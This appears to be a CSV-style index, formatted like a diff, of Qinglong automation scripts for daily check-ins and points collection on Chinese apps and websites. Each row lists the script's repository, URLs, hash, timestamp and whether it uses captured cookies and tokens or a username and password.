+web版/抓包,小紫,2025-06-28_小紫_04f1966f.py,04f1966f2f6b22487095d315cd1a6838defe98bf62d12665d0dfb9fb20adc56d,GitHub,jdqlscript/toulu,小紫.py,https://gitee.com/jdqlscript/toulu/blob/main/%E5%B0%8F%E7%B4%AB.py,https://gitee.com/jdqlscript/toulu/raw/main/%E5%B0%8F%E7%B4%AB.py,2025-06-28T11:18:42+08:00,脚本库/web版/抓包/小紫/2025-06-28_小紫_04f1966f.py,抓包,web版,web/H5关键词 + cookie/token/header web版/抓包,小黑盒每日签到,2026-05-24_Heybox_cf7af030.py,cf7af03059bd3d2d7e1afc7c76282554853e47ce7576ceaadfb124683364afc1,GitHub,CN-Grace/QinglongScripts,Heybox.py,https://github.com/CN-Grace/QinglongScripts/blob/main/Heybox.py,https://raw.githubusercontent.com/CN-Grace/QinglongScripts/main/Heybox.py,2026-05-24T03:44:01Z,脚本库/web版/抓包/小黑盒每日签到/2026-05-24_Heybox_cf7af030.py,抓包,web版,web/H5关键词 + cookie/token/header web版/抓包,库街区自动签到,2026-05-23_ql_kuro_46013225.py,46013225510794598730a4bad8387ebfbcee626a372ce9a1e605ff7acbf18bac,GitHub,Small-tailqwq/ql_script,kuro/ql_kuro.py,https://github.com/Small-tailqwq/ql_script/blob/master/kuro/ql_kuro.py,https://raw.githubusercontent.com/Small-tailqwq/ql_script/master/kuro/ql_kuro.py,2026-05-23T15:50:58Z,脚本库/web版/抓包/库街区自动签到/2026-05-23_ql_kuro_46013225.py,抓包,web版,web/H5关键词 + cookie/token/header +web版/抓包,得物森林,2025-06-03_得物森林_124d8271.py,124d8271a7bf7fdb32959f05def54df8dd35f6a8c5a039d44b02dfe4aa2e4a00,GitHub,jdqlscript/zyqinglong,得物森林.py,https://gitee.com/jdqlscript/zyqinglong/blob/main/%E5%BE%97%E7%89%A9%E6%A3%AE%E6%9E%97.py,https://gitee.com/jdqlscript/zyqinglong/raw/main/%E5%BE%97%E7%89%A9%E6%A3%AE%E6%9E%97.py,2025-06-03T12:08:50+08:00,脚本库/web版/抓包/得物森林/2025-06-03_得物森林_124d8271.py,抓包,web版,web/H5关键词 + cookie/token/header +web版/抓包,心喜,2025-06-28_心喜小程序_a195dc9a.js,a195dc9ae52fc26b8357291a30f6778722f554879186e30c02249ebcf0411846,GitHub,jdqlscript/toulu,心喜小程序.js,https://gitee.com/jdqlscript/toulu/blob/main/%E5%BF%83%E5%96%9C%E5%B0%8F%E7%A8%8B%E5%BA%8F.js,https://gitee.com/jdqlscript/toulu/raw/main/%E5%BF%83%E5%96%9C%E5%B0%8F%E7%A8%8B%E5%BA%8F.js,2025-06-28T11:18:42+08:00,脚本库/web版/抓包/心喜/2025-06-28_心喜小程序_a195dc9a.js,抓包,web版,web/H5关键词 + cookie/token/header web版/抓包,快手双版本金币查询,2026-05-16_zhks_query_2baad40b.js,2baad40b50e1c46850a63d8a9ab5131b884592dda856315d5e135423aae7e809,GitHub,DearSong15/ql-scripts,zhks_query.js,https://github.com/DearSong15/ql-scripts/blob/main/zhks_query.js,https://raw.githubusercontent.com/DearSong15/ql-scripts/main/zhks_query.js,2026-05-16T08:31:47Z,脚本库/web版/抓包/快手双版本金币查询/2026-05-16_zhks_query_2baad40b.js,抓包,web版,web/H5关键词 + cookie/token/header +web版/抓包,捷安特骑行,2025-06-28_捷安特骑行_cde00a24.py,cde00a24e7d22ffcf989388d81544ad9d81ac4e28168158970b40a866195c1fb,GitHub,jdqlscript/toulu,捷安特骑行.py,https://gitee.com/jdqlscript/toulu/blob/main/%E6%8D%B7%E5%AE%89%E7%89%B9%E9%AA%91%E8%A1%8C.py,https://gitee.com/jdqlscript/toulu/raw/main/%E6%8D%B7%E5%AE%89%E7%89%B9%E9%AA%91%E8%A1%8C.py,2025-06-28T11:18:42+08:00,脚本库/web版/抓包/捷安特骑行/2025-06-28_捷安特骑行_cde00a24.py,抓包,web版,web/H5关键词 + cookie/token/header +web版/抓包,掌心临海,2025-06-28_掌心临海_f795ee0f.js,f795ee0f21a7886ce3bf708e8cd313d69b7e7097aaf4f13878eae7d861e5e3fe,GitHub,jdqlscript/toulu,掌心临海.js,https://gitee.com/jdqlscript/toulu/blob/main/%E6%8E%8C%E5%BF%83%E4%B8%B4%E6%B5%B7.js,https://gitee.com/jdqlscript/toulu/raw/main/%E6%8E%8C%E5%BF%83%E4%B8%B4%E6%B5%B7.js,2025-06-28T11:18:42+08:00,脚本库/web版/抓包/掌心临海/2025-06-28_掌心临海_f795ee0f.js,抓包,web版,web/H5关键词 + cookie/token/header +web版/抓包,摩托范,2026-04-07_mtf_43c9ffb5.js,43c9ffb5194ec2154559fffe845949b7f31cb07bdf8a884b094ec1135c6c729c,GitHub,smallfawn/QLScriptPublic,daily/mtf.js,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/mtf.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/mtf.js,2026-04-07T12:21:56Z,脚本库/web版/抓包/摩托范/2026-04-07_mtf_43c9ffb5.js,抓包,web版,web/H5关键词 + cookie/token/header +web版/抓包,浓五的酒馆,2025-06-28_浓五的酒馆_ee3ecc85.py,ee3ecc859af5c73b12b168aba0154178676c21cf9f7134d0dc43dcb64c34cd65,GitHub,jdqlscript/toulu,浓五的酒馆.py,https://gitee.com/jdqlscript/toulu/blob/main/%E6%B5%93%E4%BA%94%E7%9A%84%E9%85%92%E9%A6%86.py,https://gitee.com/jdqlscript/toulu/raw/main/%E6%B5%93%E4%BA%94%E7%9A%84%E9%85%92%E9%A6%86.py,2025-06-28T11:18:42+08:00,脚本库/web版/抓包/浓五的酒馆/2025-06-28_浓五的酒馆_ee3ecc85.py,抓包,web版,web/H5关键词 + cookie/token/header web版/抓包,滴滴出行,2025-11-29_滴滴出行_e0d2a0c8.py,e0d2a0c873bdcaa9f9bb7f078021468bed339ad22e6e04b4db7003797176362b,GitHub,back-101/zyqinglong,滴滴出行.py,https://github.com/back-101/zyqinglong/blob/main/%E6%BB%B4%E6%BB%B4%E5%87%BA%E8%A1%8C.py,https://raw.githubusercontent.com/back-101/zyqinglong/main/滴滴出行.py,2025-11-29T06:56:58Z,脚本库/web版/抓包/滴滴出行/2025-11-29_滴滴出行_e0d2a0c8.py,抓包,web版,web/H5关键词 + cookie/token/header +web版/抓包,爱玛会员俱乐部,2026-04-13_aima_c4bf13f4.js,c4bf13f4d1a0d91d73bf3e99005689874fbc95559f9b4b60ed3a55f883c90c0c,GitHub,smallfawn/QLScriptPublic,daily/aima.js,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/aima.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/aima.js,2026-04-13T11:40:47Z,脚本库/web版/抓包/爱玛会员俱乐部/2026-04-13_aima_c4bf13f4.js,抓包,web版,web/H5关键词 + cookie/token/header +web版/抓包,福袋生活,2025-06-28_福袋生活_a0e7b152.js,a0e7b1528aee377d3b9adca875a05ed667e40e3e8c2c87b7f4effa931c71e088,GitHub,jdqlscript/toulu,福袋生活.js,https://gitee.com/jdqlscript/toulu/blob/main/%E7%A6%8F%E8%A2%8B%E7%94%9F%E6%B4%BB.js,https://gitee.com/jdqlscript/toulu/raw/main/%E7%A6%8F%E8%A2%8B%E7%94%9F%E6%B4%BB.js,2025-06-28T11:18:42+08:00,脚本库/web版/抓包/福袋生活/2025-06-28_福袋生活_a0e7b152.js,抓包,web版,web/H5关键词 + cookie/token/header +web版/抓包,第一电动,2025-06-28_第一电动_209af53a.py,209af53a6ebb564eac88091192e8340740ae58df5af249d08a2205a670fff9b8,GitHub,jdqlscript/toulu,第一电动.py,https://gitee.com/jdqlscript/toulu/blob/main/%E7%AC%AC%E4%B8%80%E7%94%B5%E5%8A%A8.py,https://gitee.com/jdqlscript/toulu/raw/main/%E7%AC%AC%E4%B8%80%E7%94%B5%E5%8A%A8.py,2025-06-28T11:18:42+08:00,脚本库/web版/抓包/第一电动/2025-06-28_第一电动_209af53a.py,抓包,web版,web/H5关键词 + cookie/token/header +web版/抓包,粉象生活App,2026-04-02_fenxiang_c0377499.js,c0377499881916fdb4520dc52e6db9c54078fc38729e125ad8f65e0b0aa88d9a,GitHub,smallfawn/QLScriptPublic,fenxiang.js,https://github.com/smallfawn/QLScriptPublic/blob/main/fenxiang.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/fenxiang.js,2026-04-02T13:09:35Z,脚本库/web版/抓包/粉象生活App/2026-04-02_fenxiang_c0377499.js,抓包,web版,web/H5关键词 + cookie/token/header web版/抓包,老铁爱分享,2025-11-29_老铁爱分享_89434746.js,8943474612b0e3b64e2d6a41783898362cc4430b5edf827a094de28cc67eaf4c,GitHub,back-101/zyqinglong,老铁爱分享.js,https://github.com/back-101/zyqinglong/blob/main/%E8%80%81%E9%93%81%E7%88%B1%E5%88%86%E4%BA%AB.js,https://raw.githubusercontent.com/back-101/zyqinglong/main/老铁爱分享.js,2025-11-29T07:17:22Z,脚本库/web版/抓包/老铁爱分享/2025-11-29_老铁爱分享_89434746.js,抓包,web版,web/H5关键词 + cookie/token/header +web版/抓包,蜜雪冰城,2025-06-28_蜜雪冰城_3365d3b2.py,3365d3b2294be333c9e59e0f382c7a7e84e3fe65d0e027b478939841e0730a84,GitHub,jdqlscript/toulu,蜜雪冰城.py,https://gitee.com/jdqlscript/toulu/blob/main/%E8%9C%9C%E9%9B%AA%E5%86%B0%E5%9F%8E.py,https://gitee.com/jdqlscript/toulu/raw/main/%E8%9C%9C%E9%9B%AA%E5%86%B0%E5%9F%8E.py,2025-06-28T11:18:42+08:00,脚本库/web版/抓包/蜜雪冰城/2025-06-28_蜜雪冰城_3365d3b2.py,抓包,web版,web/H5关键词 + cookie/token/header +web版/抓包,蜜雪秒杀,2025-06-28_蜜雪秒杀_abf07112.py,abf071122636d805eb08d25c42ad6dad1fe571426756167e12ca9d902644f3c4,GitHub,jdqlscript/toulu,蜜雪秒杀.py,https://gitee.com/jdqlscript/toulu/blob/main/%E8%9C%9C%E9%9B%AA%E7%A7%92%E6%9D%80.py,https://gitee.com/jdqlscript/toulu/raw/main/%E8%9C%9C%E9%9B%AA%E7%A7%92%E6%9D%80.py,2025-06-28T11:18:42+08:00,脚本库/web版/抓包/蜜雪秒杀/2025-06-28_蜜雪秒杀_abf07112.py,抓包,web版,web/H5关键词 + cookie/token/header +web版/抓包,金徽酒会员,2025-06-28_金徽酒会员_9fd75c1d.py,9fd75c1dd091a8a08d0f248e161e5ce52b2e81540a29e3361d4b5549bf9a263c,GitHub,jdqlscript/toulu,金徽酒会员.py,https://gitee.com/jdqlscript/toulu/blob/main/%E9%87%91%E5%BE%BD%E9%85%92%E4%BC%9A%E5%91%98.py,https://gitee.com/jdqlscript/toulu/raw/main/%E9%87%91%E5%BE%BD%E9%85%92%E4%BC%9A%E5%91%98.py,2025-06-28T11:18:42+08:00,脚本库/web版/抓包/金徽酒会员/2025-06-28_金徽酒会员_9fd75c1d.py,抓包,web版,web/H5关键词 + cookie/token/header +web版/抓包,雀巢会员俱乐部,2025-06-28_雀巢会员俱乐部_36e37724.js,36e37724027418ed8a72bea51d29e679895d29d2871dc51a2447181d5523bac7,GitHub,jdqlscript/toulu,雀巢会员俱乐部.js,https://gitee.com/jdqlscript/toulu/blob/main/%E9%9B%80%E5%B7%A2%E4%BC%9A%E5%91%98%E4%BF%B1%E4%B9%90%E9%83%A8.js,https://gitee.com/jdqlscript/toulu/raw/main/%E9%9B%80%E5%B7%A2%E4%BC%9A%E5%91%98%E4%BF%B1%E4%B9%90%E9%83%A8.js,2025-06-28T11:18:42+08:00,脚本库/web版/抓包/雀巢会员俱乐部/2025-06-28_雀巢会员俱乐部_36e37724.js,抓包,web版,web/H5关键词 + cookie/token/header +web版/抓包,青碳行,2026-04-01_qtx_c3063c65.js,c3063c6582e0fe3554616f56491bc3479fe02767b2013e0038616e08bf3a2608,GitHub,smallfawn/QLScriptPublic,qtx.js,https://github.com/smallfawn/QLScriptPublic/blob/main/qtx.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/qtx.js,2026-04-01T11:27:33Z,脚本库/web版/抓包/青碳行/2026-04-01_qtx_c3063c65.js,抓包,web版,web/H5关键词 + cookie/token/header +web版/账密,"'',_智能微秘书_发送群名_或者好友昵称和type要对应好",2025-08-25_sendNotify_387e13ce.js,387e13ce7a24d6f9316f9d477f16a5c990faa0392426cd35f365e4a86f81f723,GitHub,imoki/sign_script,polymerization/sendNotify.js,https://github.com/imoki/sign_script/blob/main/polymerization/sendNotify.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/sendNotify.js,2025-08-25T21:29:14+08:00,"脚本库/web版/账密/'',_智能微秘书_发送群名_或者好友昵称和type要对应好/2025-08-25_sendNotify_387e13ce.js",账密,web版,web/H5关键词 + username/password/login +web版/账密,"'',_智能微秘书_发送群名_或者好友昵称和type要对应好",2026-05-14_sendNotify_864365eb.js,864365eb357b1cea5c38394bfe210f4662a04d419d1f612976c8c3969a0a7199,GitHub,smallfawn/QLScriptPublic,tools/sendNotify.js,https://github.com/smallfawn/QLScriptPublic/blob/main/tools/sendNotify.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/tools/sendNotify.js,2026-05-14T17:47:57+08:00,"脚本库/web版/账密/'',_智能微秘书_发送群名_或者好友昵称和type要对应好/2026-05-14_sendNotify_864365eb.js",账密,web版,web/H5关键词 + username/password/login +web版/账密,"'',_智能微秘书_发送群名_或者好友昵称和type要对应好",2026-05-14_sendNofity_7da67c95.js,7da67c95e7758063fb278497fcea4388a1651e5e1ac5a07b03f5d7b2d4e2585f,GitHub,smallfawn/QLScriptPublic,sendNofity.js,https://github.com/smallfawn/QLScriptPublic/blob/main/sendNofity.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/sendNofity.js,2026-05-14T17:47:57+08:00,"脚本库/web版/账密/'',_智能微秘书_发送群名_或者好友昵称和type要对应好/2026-05-14_sendNofity_7da67c95.js",账密,web版,web/H5关键词 + username/password/login web版/账密,"'未知用户',",2026-05-19_juejin_checkin_6f8a138b.js,6f8a138b51c397220444c9312040dbe3407af5aeed4fa4467a36672aeb8bcfd1,GitHub,huwangkeji/juejin_checkin,juejin_checkin.js,https://github.com/huwangkeji/juejin_checkin/blob/main/juejin_checkin.js,https://raw.githubusercontent.com/huwangkeji/juejin_checkin/main/juejin_checkin.js,2026-05-19T14:34:11Z,"脚本库/web版/账密/'未知用户',/2026-05-19_juejin_checkin_6f8a138b.js",账密,web版,web/H5关键词 + username/password/login +web版/账密,51代理自动签到,2026-05-14_51dalili_fea43cd7.py,fea43cd7c31202227b74942f467d38857faf034019bfd0d73b876d100c47b55a,GitHub,smallfawn/QLScriptPublic,daily/51dalili.py,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/51dalili.py,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/51dalili.py,2026-05-14T17:47:57+08:00,脚本库/web版/账密/51代理自动签到/2026-05-14_51dalili_fea43cd7.py,账密,web版,web/H5关键词 + username/password/login +web版/账密,5_旅行相关,2025-11-20_5_travel_df64a760.py,df64a760c6c34918f55f14d59e7fc1125fccaa7cef71b2e6d5f0fd9bab9f9e7b,GitHub,AkenClub/ken-iMoutai-Script,5_travel.py,https://github.com/AkenClub/ken-iMoutai-Script/blob/main/5_travel.py,https://raw.githubusercontent.com/AkenClub/ken-iMoutai-Script/main/5_travel.py,2025-11-20T09:54:34+08:00,脚本库/web版/账密/5_旅行相关/2025-11-20_5_travel_df64a760.py,账密,web版,web/H5关键词 + username/password/login +web版/账密,99_检查_TOKEN、COOKIE_有效期,2025-11-20_99_check_for_validity_b7dac1c2.py,b7dac1c2a41406aad9c26c8d92adf0b74a6bcbae0947eb820a674bd18047d6c4,GitHub,AkenClub/ken-iMoutai-Script,99_check_for_validity.py,https://github.com/AkenClub/ken-iMoutai-Script/blob/main/99_check_for_validity.py,https://raw.githubusercontent.com/AkenClub/ken-iMoutai-Script/main/99_check_for_validity.py,2025-11-20T09:54:34+08:00,脚本库/web版/账密/99_检查_TOKEN、COOKIE_有效期/2025-11-20_99_check_for_validity_b7dac1c2.py,账密,web版,web/H5关键词 + username/password/login web版/账密,"Anime字幕论坛_,",2023-01-21_Anime_ae31e135.js,ae31e135b3cf61bf21536d587c788f23b7fd2b7a338b497319f729e82deab24d,GitHub,Wenmoux/checkbox,scripts/Anime.js,https://github.com/Wenmoux/checkbox/blob/master/scripts/Anime.js,https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/Anime.js,2023-01-21T03:29:57Z,"脚本库/web版/账密/Anime字幕论坛_,/2023-01-21_Anime_ae31e135.js",账密,web版,web/H5关键词 + username/password/login +web版/账密,Bing每日图片,2025-08-25_imgbing_3ecde192.js,3ecde192b59e77cd75d73f50a7e76f820c59d06a8d49b4531a6de0cd14516499,GitHub,imoki/sign_script,polymerization/imgbing.js,https://github.com/imoki/sign_script/blob/main/polymerization/imgbing.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/imgbing.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/Bing每日图片/2025-08-25_imgbing_3ecde192.js,账密,web版,web/H5关键词 + username/password/login web版/账密,Bitwarden备份,2026-05-23_Sync_Password_e63fb7c9.py,e63fb7c92c4a77f2dc4660a1ce3f0401a8173132dc4b8d36a99c7d383f91974e,GitHub,CN-Grace/QinglongScripts,Sync_Password.py,https://github.com/CN-Grace/QinglongScripts/blob/main/Sync_Password.py,https://raw.githubusercontent.com/CN-Grace/QinglongScripts/main/Sync_Password.py,2026-05-23T15:48:24Z,脚本库/web版/账密/Bitwarden备份/2026-05-23_Sync_Password_e63fb7c9.py,账密,web版,web/H5关键词 + username/password/login +web版/账密,KFC疯狂星期四搞笑语录,2025-08-25_kfc_f6eae98a.js,f6eae98a1dac73c3f88fd06d8052ec00a8658e72e5a9defa32e8257efb9dc909,GitHub,imoki/sign_script,polymerization/kfc.js,https://github.com/imoki/sign_script/blob/main/polymerization/kfc.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/kfc.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/KFC疯狂星期四搞笑语录/2025-08-25_kfc_f6eae98a.js,账密,web版,web/H5关键词 + username/password/login web版/账密,acfun,2021-07-21_acfun_ce0d786f.js,ce0d786f36ec77fa4731b48f033edd1b0f7467bad760180dbafe255abace5c94,GitHub,Wenmoux/checkbox,scripts/acfun.js,https://github.com/Wenmoux/checkbox/blob/master/scripts/acfun.js,https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/acfun.js,2021-07-21T17:31:24Z,脚本库/web版/账密/acfun/2021-07-21_acfun_ce0d786f.js,账密,web版,web/H5关键词 + username/password/login web版/账密,aoqi,2024-02-09_aoqi_eb9a39b1.js,eb9a39b19a4c85f698020d7843d5052e768dff4a2705106bd64228d4cba6c34e,GitHub,Wenmoux/checkbox,scripts/aoqi.js,https://github.com/Wenmoux/checkbox/blob/master/scripts/aoqi.js,https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/aoqi.js,2024-02-09T08:25:50Z,脚本库/web版/账密/aoqi/2024-02-09_aoqi_eb9a39b1.js,账密,web版,web/H5关键词 + username/password/login web版/账密,apply_link.split'id='-1},2026-03-27_3dmgame_2262c9f7.py,2262c9f7c2d40c8ef9822325fadd2e8ed3c43ba0f609c072a27c49b02edc2eaa,GitHub,lksky8/sign-ql,3dmgame.py,https://github.com/lksky8/sign-ql/blob/main/3dmgame.py,https://raw.githubusercontent.com/lksky8/sign-ql/main/3dmgame.py,2026-03-27T20:17:30Z,脚本库/web版/账密/apply_link.split'id='-1}/2026-03-27_3dmgame_2262c9f7.py,账密,web版,web/H5关键词 + username/password/login +web版/账密,"bark_,_key_xxxxxx_,_flag_0_},",2025-08-25_TEMPLATE_ca814940.js,ca814940e5cbd3784e70cfaaa7afb736e723a557b0a6169c20fa88a55a484c90,GitHub,imoki/sign_script,polymerization/TEMPLATE.js,https://github.com/imoki/sign_script/blob/main/polymerization/TEMPLATE.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/TEMPLATE.js,2025-08-25T21:29:14+08:00,"脚本库/web版/账密/bark_,_key_xxxxxx_,_flag_0_},/2025-08-25_TEMPLATE_ca814940.js",账密,web版,web/H5关键词 + username/password/login +web版/账密,"bark_,_key_xxxxxx_,_flag_0_},",2025-08-25_PUSH_03f616e3.js,03f616e38dec8c5f1c9aaf545820f572e718dde1c354f8d67974394f4fc42e4f,GitHub,imoki/sign_script,polymerization/PUSH.js,https://github.com/imoki/sign_script/blob/main/polymerization/PUSH.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/PUSH.js,2025-08-25T21:29:14+08:00,"脚本库/web版/账密/bark_,_key_xxxxxx_,_flag_0_},/2025-08-25_PUSH_03f616e3.js",账密,web版,web/H5关键词 + username/password/login +web版/账密,bjxd,2025-06-28_bjxd_e4c2c483.js,e4c2c4835b61eaf962829f3d3f2bcd8cbfa3083e90ebc2db6904ad0147b7bfd8,GitHub,jdqlscript/toulu,bjxd.js,https://gitee.com/jdqlscript/toulu/blob/main/bjxd.js,https://gitee.com/jdqlscript/toulu/raw/main/bjxd.js,2025-06-28T11:18:42+08:00,脚本库/web版/账密/bjxd/2025-06-28_bjxd_e4c2c483.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,deepseek分析工具,2025-08-25_deepseek_127895dc.js,127895dc5e459975a27af6e4bd374b0c435a3eeeaf21f13d3f65f8020036415d,GitHub,imoki/sign_script,polymerization/deepseek.js,https://github.com/imoki/sign_script/blob/main/polymerization/deepseek.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/deepseek.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/deepseek分析工具/2025-08-25_deepseek_127895dc.js,账密,web版,web/H5关键词 + username/password/login web版/账密,hykb,2022-02-13_hykb_abf39a68.js,abf39a687de703fd6dc0d8c0e524aba65c955cb47ead443d595a5d1ced87e751,GitHub,Wenmoux/checkbox,scripts/hykb.js,https://github.com/Wenmoux/checkbox/blob/master/scripts/hykb.js,https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/hykb.js,2022-02-13T11:19:00Z,脚本库/web版/账密/hykb/2022-02-13_hykb_abf39a68.js,账密,web版,web/H5关键词 + username/password/login web版/账密,mdd,2022-11-27_mdd_56d7dc78.js,56d7dc787522745234fbc3197a7cbdc59fb6eb341e2faf9868ca43d35cc7b5bb,GitHub,Wenmoux/checkbox,scripts/mdd.js,https://github.com/Wenmoux/checkbox/blob/master/scripts/mdd.js,https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/mdd.js,2022-11-27T14:39:31Z,脚本库/web版/账密/mdd/2022-11-27_mdd_56d7dc78.js,账密,web版,web/H5关键词 + username/password/login web版/账密,"meizu18pro_,_这里可以根据实际情况修改设备名称",2024-01-25_meizu_7a9c608e.js,7a9c608e16e257ce572f771572bf1ea8b595e4d7194617aacaad24e3124bff1b,GitHub,Wenmoux/checkbox,scripts/meizu.js,https://github.com/Wenmoux/checkbox/blob/master/scripts/meizu.js,https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/meizu.js,2024-01-25T23:07:01Z,"脚本库/web版/账密/meizu18pro_,_这里可以根据实际情况修改设备名称/2024-01-25_meizu_7a9c608e.js",账密,web版,web/H5关键词 + username/password/login web版/账密,mt论坛,2025-11-27_mt_7faceb4d.py,7faceb4d0bbec4de316908471b14966fa04fb9ac907a5fb580d8e957d1789b57,GitHub,back-101/zyqinglong,mt.py,https://github.com/back-101/zyqinglong/blob/main/mt.py,https://raw.githubusercontent.com/back-101/zyqinglong/main/mt.py,2025-11-27T10:49:43Z,脚本库/web版/账密/mt论坛/2025-11-27_mt_7faceb4d.py,账密,web版,web/H5关键词 + username/password/login +web版/账密,notify,2026-04-01_notify_76a2a83d.py,76a2a83d57893068688fcf0f7e549094b3d69253dbd4d8ce14d26e610ddfa93c,GitHub,smallfawn/QLScriptPublic,notify.py,https://github.com/smallfawn/QLScriptPublic/blob/main/notify.py,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/notify.py,2026-04-01T11:27:33Z,脚本库/web版/账密/notify/2026-04-01_notify_76a2a83d.py,账密,web版,web/H5关键词 + username/password/login +web版/账密,parsdata,2025-08-25_parsdata_45c06ac4.js,45c06ac414cc4055b928718409115b4e06ba3df53bafa0bc69e20442a20c5029,GitHub,imoki/sign_script,polymerization/parsdata.js,https://github.com/imoki/sign_script/blob/main/polymerization/parsdata.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/parsdata.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/parsdata/2025-08-25_parsdata_45c06ac4.js,账密,web版,web/H5关键词 + username/password/login web版/账密,return_False,2026-05-24_notifier_8bca8fea.py,8bca8feabe36c8658f261c87589dc58e9363a804f1640653df6b274cee3f6482,GitHub,CN-Grace/QinglongScripts,notifier.py,https://github.com/CN-Grace/QinglongScripts/blob/main/notifier.py,https://raw.githubusercontent.com/CN-Grace/QinglongScripts/main/notifier.py,2026-05-24T03:14:33Z,脚本库/web版/账密/return_False/2026-05-24_notifier_8bca8fea.py,账密,web版,web/H5关键词 + username/password/login web版/账密,rpg66,2022-07-20_rpg66_1ecbfd43.js,1ecbfd43a5f24896cd44110aeed805d8970c33087f793bbf5402232e95f224b2,GitHub,Wenmoux/checkbox,scripts/rpg66.js,https://github.com/Wenmoux/checkbox/blob/master/scripts/rpg66.js,https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/rpg66.js,2022-07-20T12:25:35Z,脚本库/web版/账密/rpg66/2022-07-20_rpg66_1ecbfd43.js,账密,web版,web/H5关键词 + username/password/login web版/账密,"str,_token_str",2025-09-22_PPark_120e7330.py,120e73308bc1ccfb9db8ebd87357364850257a25ba1bc039d67c2967fe6c8e19,GitHub,lksky8/sign-ql,PPark.py,https://github.com/lksky8/sign-ql/blob/main/PPark.py,https://raw.githubusercontent.com/lksky8/sign-ql/main/PPark.py,2025-09-22T11:01:17Z,"脚本库/web版/账密/str,_token_str/2025-09-22_PPark_120e7330.py",账密,web版,web/H5关键词 + username/password/login web版/账密,sxmd,2024-02-09_sxmd_c843730c.js,c843730c6fb10c63ed4eee5118bc7e56d65ff3e180c100b26ab31f8791099339,GitHub,Wenmoux/checkbox,scripts/sxmd.js,https://github.com/Wenmoux/checkbox/blob/master/scripts/sxmd.js,https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/sxmd.js,2024-02-09T08:25:50Z,脚本库/web版/账密/sxmd/2024-02-09_sxmd_c843730c.js,账密,web版,web/H5关键词 + username/password/login web版/账密,tyqh,2026-05-23_tyqh_4c779933.py,4c779933563a21d73534721d588cf8fd5aa9e6d6ced3e3b3bb414c91fb576708,GitHub,lksky8/sign-ql,invalid/tyqh.py,https://github.com/lksky8/sign-ql/blob/main/invalid/tyqh.py,https://raw.githubusercontent.com/lksky8/sign-ql/main/invalid/tyqh.py,2026-05-23T06:33:20Z,脚本库/web版/账密/tyqh/2026-05-23_tyqh_4c779933.py,账密,web版,web/H5关键词 + username/password/login web版/账密,"url.hostname,",2026-05-11_zsp_video_960b2e28.js,960b2e28799c40a00eb4bd75dcda1e61b3ab747374716073995c75053c3083ee,GitHub,DearSong15/ql-scripts,zsp_video.js,https://github.com/DearSong15/ql-scripts/blob/main/zsp_video.js,https://raw.githubusercontent.com/DearSong15/ql-scripts/main/zsp_video.js,2026-05-11T15:03:30Z,"脚本库/web版/账密/url.hostname,/2026-05-11_zsp_video_960b2e28.js",账密,web版,web/H5关键词 + username/password/login +web版/账密,vivo社区,2025-08-25_vivo_572c90bb.js,572c90bb000b944d156e0272a67a372ae37e710b553502a9a53dcf19d0bbc9c4,GitHub,imoki/sign_script,polymerization/vivo.js,https://github.com/imoki/sign_script/blob/main/polymerization/vivo.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/vivo.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/vivo社区/2025-08-25_vivo_572c90bb.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,vx植物星球,2025-06-28_植物星球_dc1b34d5.js,dc1b34d55745a93624ee9dd8223f6797ad066ad927c77332c547165f2364a57d,GitHub,jdqlscript/toulu,植物星球.js,https://gitee.com/jdqlscript/toulu/blob/main/%E6%A4%8D%E7%89%A9%E6%98%9F%E7%90%83.js,https://gitee.com/jdqlscript/toulu/raw/main/%E6%A4%8D%E7%89%A9%E6%98%9F%E7%90%83.js,2025-06-28T11:18:42+08:00,脚本库/web版/账密/vx植物星球/2025-06-28_植物星球_dc1b34d5.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,wangchao,2026-05-14_wangchao_5766bea9.py,5766bea96f254c536c58c331c970b56736855666f52792e2058a28daee3fa274,GitHub,smallfawn/QLScriptPublic,backup/wangchao.py,https://github.com/smallfawn/QLScriptPublic/blob/main/backup/wangchao.py,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/backup/wangchao.py,2026-05-14T17:47:57+08:00,脚本库/web版/账密/wangchao/2026-05-14_wangchao_5766bea9.py,账密,web版,web/H5关键词 + username/password/login web版/账密,yxw_appsign,2025-09-28_yxw_appsign_c6d91db1.py,c6d91db16e3a84bf5dfc1e2c7d6cb38fb3f6d38f5829d7f496ba308fa7a77a10,GitHub,lksky8/sign-ql,yxw_appsign.py,https://github.com/lksky8/sign-ql/blob/main/yxw_appsign.py,https://raw.githubusercontent.com/lksky8/sign-ql/main/yxw_appsign.py,2025-09-28T06:42:50Z,脚本库/web版/账密/yxw_appsign/2025-09-28_yxw_appsign_c6d91db1.py,账密,web版,web/H5关键词 + username/password/login 